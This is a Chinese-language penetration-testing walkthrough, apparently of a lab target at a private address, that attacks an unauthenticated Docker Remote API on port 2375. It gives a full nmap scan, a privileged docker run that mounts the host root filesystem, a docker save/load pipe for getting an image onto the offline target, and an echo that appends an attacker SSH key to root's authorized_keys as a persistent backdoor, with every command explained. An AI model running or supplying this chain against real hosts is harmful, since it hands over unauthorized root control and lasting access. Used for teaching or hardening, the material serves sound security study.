第一阶段:信息收集与侦察 (Reconnaissance)

  • 核心命令

    nmap -p- -sV -T4 --min-rate 1000 -oA full_port_scan 192.168.0.139
    • nmap: 启动网络扫描工具 Nmap。
    • -p-: 扫描所有 65535 个 TCP 端口,而不是仅扫描常见的端口,确保不遗漏任何服务。
    • -sV: 进行服务版本探测。Nmap 会尝试与开放的端口通信,以确定上面运行的具体软件及其版本(例如,识别出是 Docker 服务,而不是普通的 HTTP)。
    • -T4: 设置扫描速度为“攻击性(Aggressive)”模式,以加快扫描进程。
    • --min-rate 1000: 确保每秒至少发送 1000 个数据包,进一步提高扫描速度。
    • -oA full_port_scan: 将扫描结果以所有格式(标准、Grepable、XML)输出,并保存为文件前缀为 full_port_scan 的文件,便于后续分析。
  • 关键发现:命令输出明确指出了端口 2375/tcp 开放,且运行着 Docker Remote API 服务。

第二阶段:漏洞分析 (Vulnerability Analysis)

  • 漏洞名称:Docker Remote API 未授权访问漏洞。
  • 风险分析:该漏洞允许任何人通过网络直接向 Docker 服务发送指令,而无需任何身份验证。
  • 攻击思路:构造一个 docker run 命令,通过 -H 参数指定远程 Docker 主机,并使用 -v 参数挂载宿主机根目录,从而获得一个可以控制整个宿主机文件系统的容器。

    • 核心攻击命令结构

      docker -H tcp://192.168.0.139:2375 run -it --privileged -v /:/mnt <镜像名> sh
      • -H tcp://...: (关键) 指定 Docker 客户端连接的远程主机地址和端口,而不是默认的本地 Unix 套接字。这是实现远程控制的核心。
      • run: 告诉 Docker 运行一个新容器。
      • -it: -i (interactive) 和 -t (tty) 的组合,表示以交互模式运行,并分配一个伪终端,这样我们就能得到一个可以输入的 Shell。
      • -v /:/mnt: (攻击精髓) 将宿主机的根目录 / 挂载到容器内的 /mnt 目录。这意味着在容器内对 /mnt 的任何读写操作,都会真实地作用于宿主机的文件系统。
      • <镜像名> sh: 指定使用哪个镜像来启动容器,并在容器启动后立即执行 sh 命令,给我们一个 Shell。

第三阶段:漏洞利用与障碍排除 (Exploitation & Problem Solving)

  • 首次尝试失败:执行上述命令时,因目标机无本地镜像无法联网下载而失败。
  • 突破性解决方案 (高级技巧):通过命令行管道,将本地镜像流式传输到远程主机。

    • 核心命令

      docker save alpine | docker -H tcp://192.168.0.139:2375 load
      • docker save alpine: 在攻击机本地执行,将 alpine 镜像打包成一个 .tar 归档文件流,并输出到标准输出 (stdout)。
      • | (管道符): Linux/Unix 的核心功能,将左边命令的 stdout 直接作为右边命令的标准输入 (stdin)。
      • docker -H ... load: 在远程目标机上执行 docker load 命令。此命令会从 stdin 读取 .tar 文件流,并将其解包加载为 Docker 镜像。
      • 整体效果:这条命令巧妙地创建了一个从攻击机到目标机的数据管道,通过 2375 端口直接传输并加载了镜像,完美绕过了目标机的所有网络限制。
  • 成功获得初始访问:镜像传输成功后,再次执行 docker run 命令,成功进入容器 Shell。

第四阶段:权限提升与持久化 (Privilege Escalation & Persistence)

  • 目标:建立一个永久性的 SSH 后门,以便将来直接登录。
  • 核心命令 (在容器内执行)

    echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keys
    • echo 'ssh-rsa AAAA...': 打印你在攻击机上复制的 SSH 公钥字符串。
    • >>: 追加重定向操作符。它会将左边命令的输出,添加到指定文件的末尾,而不会覆盖文件原有内容。
    • /mnt/root/.ssh/authorized_keys: 这是命令写入的目标文件。因为 /mnt 就是宿主机的根目录 /,所以这个路径实际上指向的是宿主机上/root/.ssh/authorized_keys 文件。此文件记录了所有可以免密登录 root 账户的公钥。
  • 最终成果:此命令执行后,你的攻击机就被添加到了目标机的信任列表中,可以通过 ssh root@192.168.0.139 免密登录,实现了完全且持久的控制。